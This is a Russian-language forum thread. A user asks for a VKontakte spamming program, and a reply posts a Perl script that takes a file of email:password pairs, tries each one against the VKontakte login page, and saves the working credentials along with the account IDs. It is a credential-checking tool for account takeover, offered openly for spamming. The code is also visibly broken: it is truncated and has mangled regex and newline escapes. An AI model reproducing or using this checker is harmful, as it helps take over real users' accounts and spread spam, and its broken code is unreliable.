Очень нужна программа, Мб Скрипт!, Спам.

[xaero]

Нужна программа для спама в контакте! (бесплатная)
Или скрипт. Буду очень благодарен.

[8BitCore]

не знаю о такой программе.не слышал.

могбы и промолчать.

Спойлер

Код Выделить Развернуть

#!/usr/bin/perl
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<log.txt');
my @f = <FILE>;
chomp @f;



my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);    #Êóêè ;)
open (OUT , '>>IDS.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('https://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{

$req = $ua->get('https://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http://vkontakte.ru/id)(d+)(">)/;
if (!$2)
{
print "Account deleted";# это в случае , если пользователь удалил страницу
}
print "[+]$mail:$pass:$2n";
if (length($2)>1){print OUT $mail.":".$pass.":".$2."n";}

[свернуть]

нашёл в теме про спам ботов ... если не уверен не запускай.